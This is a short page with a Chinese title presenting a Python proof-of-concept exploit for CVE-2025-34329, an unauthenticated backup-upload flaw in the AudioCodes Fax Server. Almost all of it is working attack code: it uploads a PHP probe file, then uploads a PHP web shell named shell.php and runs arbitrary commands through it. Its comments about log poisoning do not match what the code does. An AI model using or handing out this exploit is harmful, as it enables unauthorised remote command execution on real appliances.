CVE-2025-34329 AudioCodes Fax Server未授权备份上传导致RCE

#!/usr/bin/env python3 """ CVE-2025-34329 AudioCodes Fax Server Unauthenticated RCE PoC Reference: https://www.vulncheck.com/advisories/audiocodes-fax-ivr-appliance-unauthenticated-backup-upload-rce-via-ajaxbackupuploadfile """ import requests import sys TARGET = "http://target:80" # Replace with actual target UPLOAD_ENDPOINT = f"{TARGET}/AudioCodes_files/ajaxBackupUploadFile.php" def check_vulnerability(): """Check if target is vulnerable by uploading a test file""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', } # Create malicious PHP backdoor file files = { 'file': ('test.php', '<?php phpinfo(); ?>', 'application/x-php') } try: response = requests.post(UPLOAD_ENDPOINT, files=files, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200 and 'success' in response.text.lower(): print("[+] Target appears to be vulnerable!") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_rce(cmd): """Execute arbitrary command via log poisoning or config file upload""" # Step 1: Upload malicious config to poison log file config_payload = '<?php system($_GET["cmd"]); ?>' files = { 'file': ('shell.php', config_payload, 'application/octet-stream') } response = requests.post(UPLOAD_ENDPOINT, files=files, timeout=10) # Step 2: Trigger command execution shell_url = f"{TARGET}/AudioCodes_files/shell.php" try: exec_response = requests.get(f"{shell_url}?cmd={cmd}", timeout=10) return exec_response.text except: return None if __name__ == "__main__": print("[*] CVE-2025-34329 AudioCodes RCE Exploit") if check_vulnerability(): print("[+] Exploiting...") result = exploit_rce("whoami") if result: print(f"[+] Command output: {result}")